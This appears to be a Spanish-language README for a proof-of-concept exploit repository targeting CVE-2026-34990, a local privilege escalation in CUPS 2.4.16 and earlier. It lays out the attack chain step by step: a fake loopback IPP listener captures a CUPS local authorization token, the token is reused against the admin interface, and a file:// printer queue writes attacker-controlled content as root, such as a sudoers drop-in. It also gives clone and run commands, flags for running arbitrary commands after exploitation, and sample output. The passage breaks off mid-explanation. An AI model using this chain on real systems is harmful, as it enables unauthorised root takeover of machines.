
CVE-2026-34990 — CUPS <= 2.4.16 Escalada de Privilegios Local
Usuario local sin privilegios → root, mediante un token de autorización
Localde CUPS filtrado y una cola de impresiónfile:///que elude la política.PoC por 0xcybersoldier
CVE-2026-34990 es una vulnerabilidad de escalada de privilegios local en OpenPrinting CUPS que afecta a las versiones 2.4.16 y anteriores.
Un usuario local sin privilegios que pueda alcanzar el demonio de CUPS (cupsd) puede potencialmente hacer que este se autentique contra un servicio IPP controlado por el atacante en la interfaz de loopback.
La credencial resultante Authorization: Local <token> puede reutilizarse posteriormente contra la interfaz administrativa de CUPS.
La cadena de ataque puede utilizarse en última instancia para crear una cola de impresión file:/// y hacer que cupsd escriba un archivo controlado por el atacante con privilegios de root.
La demostración canónica utiliza un archivo drop-in de sudoers para obtener una shell de root.
Este repositorio contiene un PoC en Python 3 de un solo archivo que implementa la cadena de ataque, incluyendo un modo --check más seguro para demostrar el comportamiento vulnerable de escritura de archivos sin crear directamente una configuración persistente de escalada de privilegios.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-34990 |
| Componente | OpenPrinting CUPS (cupsd) |
| Versiones Afectadas | <= 2.4.16 |
| Clase de Vulnerabilidad | CWE-306 / CWE-284 |
| Impacto | Escalada de Privilegios Local |
| Vector de Ataque | Local |
| Privilegios Requeridos | Bajos |
| Interacción del Usuario | Ninguna |
| Descubierto Por | Asim Viladi Oglu Manizada |
| Aviso | GHSA-c54j-2vqw-wpwp |
El PoC apunta a:
OpenPrinting CUPS <= 2.4.16
Verificar la versión de CUPS en ejecución local:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
Ejemplo:
Server: CUPS/2.4.16 IPP/2.1
Nota: Verificar el aviso actual del proveedor upstream antes de confiar en el rango de versiones afectadas en investigación de producción, ya que los parches del proveedor y el estado de las versiones pueden cambiar.
[1] El usuario local emite CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd se conecta al servicio IPP controlado
por el atacante en loopback
|
v
[3] El servicio IPP falso responde con:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups reintenta la solicitud con:
Authorization: Local <token>
|
v
[5] Token capturado
|
v
[6] Token reutilizado contra la interfaz administrativa de CUPS
|
v
[7] Se crea una impresora temporal file:// y
se transiciona a través del flujo de trabajo de gestión de impresoras
|
v
[8] Print-Job hace que cupsd escriba el documento
proporcionado en el destino file://
|
v
[9] El payload de demostración puede modificar una
configuración privilegiada como sudoers
|
v
ROOT
127.0.0.1:631sudo disponible para la demostración de escalada de privilegiosNo se requieren paquetes externos de Python.
Clonar el repositorio:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
Hacer el PoC ejecutable:
chmod +x cve-2026-34990.py
No se requieren dependencias adicionales.
Comenzar con el modo de verificación no persistente:
./cve-2026-34990.py --check
El modo de verificación intenta demostrar la primitiva vulnerable de escritura de archivos propiedad de root utilizando un archivo de prueba temporal y limpia después de la prueba.
El modo predeterminado demuestra la cadena completa de escalada de privilegios:
./cve-2026-34990.py
Se puede proporcionar un comando con:
./cve-2026-34990.py -c 'id'
Ejemplo:
./cve-2026-34990.py -c 'id; whoami'
| Flag | Predeterminado | Descripción |
|---|---|---|
--cups-port | 631 | Puerto TCP local de CUPS |
--listen-port | 9189 | Puerto de loopback usado por el listener de captura de tokens |
--check | Off | Modo de verificación segura |
-c, --command | — | Ejecutar un comando tras la explotación exitosa |
--proof-dir | /var/tmp | Directorio padre para archivos de prueba temporales |
--attempts | 8 | Número de intentos de escritura de archivos |
--iterations | 80 | Número de rondas de solicitudes IPP por intento |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Escalada de Privilegios Local
PoC por 0xcybersoldier
[*] Disparando la fuga de token de CUPS...
[+] Token de autorización Local de CUPS capturado
[*] Carrera de escritura de archivos: intento 1/8
[+] VULNERABLE: CUPS escribió un archivo de prueba propiedad de root
El PoC crea una impresora temporal de CUPS cuyo device-uri apunta hacia un listener IPP controlado por el atacante en la interfaz de loopback.
Ejemplo:
ipp://127.0.0.1:9189/ipp/print
El listener local responde con un desafío de autenticación: